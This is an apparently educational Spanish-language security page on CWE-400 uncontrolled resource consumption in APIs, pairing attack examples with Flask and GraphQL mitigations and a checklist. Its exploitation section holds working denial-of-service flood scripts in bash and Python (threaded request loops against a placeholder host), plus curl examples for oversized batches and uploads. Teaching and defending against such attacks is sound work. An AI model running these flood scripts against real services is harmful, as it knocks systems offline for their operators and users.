Skip to content

Unrestricted Resource Consumption (DoS)

CWE: CWE-400 - Uncontrolled Resource Consumption
Problema: Falta de límites en requests, causando Denial of Service


Tipos de Resource Consumption

1. Rate Limiting Ausente

bash
# Sin límite de requests
for i in {1..10000}; do
  curl "https://api.app.com/api/data" &
done
wait

# Servidor se cae

2. Batch Operations Sin Límite

bash
# Eliminar 1 millón de records en un request
curl -X POST "https://api.app.com/api/delete-bulk" \
  -d '{
    "ids": [1,2,3,4,5,...,1000000]  # 1M registros
  }'

# Servidor consume CPU/RAM al máximo

3. Large Payload Upload

bash
# Subir archivo de 100GB
curl -X POST "https://api.app.com/api/upload" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @huge_file.bin

4. Nested Object Expansion

graphql
# GraphQL - Recursión infinita
query {
  user {
    friends {
      friends {
        friends {
          friends {
            friends {
              ...
            }
          }
        }
      }
    }
  }
}

5. Expensive Queries

bash
# Query muy cara que consume mucho CPU
curl -X POST "https://api.app.com/api/analytics" \
  -d '{
    "operation": "sum_all_transactions_for_all_users_for_all_time"
  }'

# Ejecutar millones de veces en paralelo

Explotación

bash
#!/bin/bash
# DoS attack script

target="https://api.app.com"
threads=100
duration=60

echo "[*] Iniciando ataque DoS contra $target"
echo "[*] Threads: $threads, Duración: $duration segundos"

# Función para enviar requests
attack() {
  start=$(date +%s)
  count=0
  
  while [ $(($(date +%s) - start)) -lt $duration ]; do
    curl -s "$target/api/data" > /dev/null 2>&1
    ((count++))
  done
  
  echo "[+] Thread completado: $count requests"
}

# Ejecutar en paralelo
for ((i=0; i<threads; i++)); do
  attack &
done

wait
echo "[✓] Ataque completado"

Python - Explotación Avanzada

python
import requests
import time
from concurrent.futures import ThreadPoolExecutor, as_completed

def dos_attack(url, requests_per_thread=1000, threads=50):
    """
    Ataque DoS mediante requests concurrentes
    """
    
    def make_request(thread_id):
        count = 0
        errors = 0
        
        try:
            with requests.Session() as session:
                for i in range(requests_per_thread):
                    try:
                        response = session.get(url, timeout=5)
                        count += 1
                    except Exception as e:
                        errors += 1
        except Exception as e:
            pass
        
        return (thread_id, count, errors)
    
    results = []
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = [executor.submit(make_request, i) for i in range(threads)]
        
        for future in as_completed(futures):
            thread_id, count, errors = future.result()
            print(f"[Thread {thread_id}] {count} success, {errors} errors")
            results.append((count, errors))
    
    total_success = sum(r[0] for r in results)
    total_errors = sum(r[1] for r in results)
    print(f"\n[✓] Total: {total_success} requests, {total_errors} errors")

# Ejecutar
dos_attack("https://api.app.com/api/data", requests_per_thread=500, threads=50)

Mitigación

1. Rate Limiting

python
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"]
)

@app.route('/api/data')
@limiter.limit("10 per minute")
def get_data():
    return jsonify({"data": "..."})

2. Límite de Payload

python
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024  # 16MB máximo

@app.route('/api/upload', methods=['POST'])
def upload():
    if request.content_length > 16 * 1024 * 1024:
        return {"error": "Payload too large"}, 413
    # ...

3. Límite de Batch Operations

python
@app.route('/api/delete-bulk', methods=['POST'])
def delete_bulk():
    ids = request.json.get('ids', [])
    
    MAX_IDS = 100
    if len(ids) > MAX_IDS:
        return {"error": f"Maximum {MAX_IDS} IDs allowed"}, 400
    
    for id in ids:
        delete_record(id)
    
    return {"deleted": len(ids)}

4. GraphQL Limits

python
from graphql import parse

class QueryDepthValidator:
    def __init__(self, max_depth=3):
        self.max_depth = max_depth
    
    def validate(self, query_string):
        doc = parse(query_string)
        depth = self._get_depth(doc.definitions[0].selection_set)
        
        if depth > self.max_depth:
            raise Exception(f"Query too deep (max {self.max_depth})")
    
    def _get_depth(self, selection_set, current=0):
        if current > self.max_depth:
            return self.max_depth + 1
        
        max_depth = 0
        for selection in selection_set.selections:
            if selection.selection_set:
                depth = self._get_depth(selection.selection_set, current + 1)
                max_depth = max(max_depth, depth)
        
        return max_depth

Checklist

  • [ ] Rate limiting en todos los endpoints
  • [ ] Límite de tamaño de payload (MAX_CONTENT_LENGTH)
  • [ ] Límite en operaciones batch (máx registros)
  • [ ] Timeout en queries
  • [ ] GraphQL depth limit
  • [ ] Monitoreo de CPU/RAM
  • [ ] Alertas por tráfico anómalo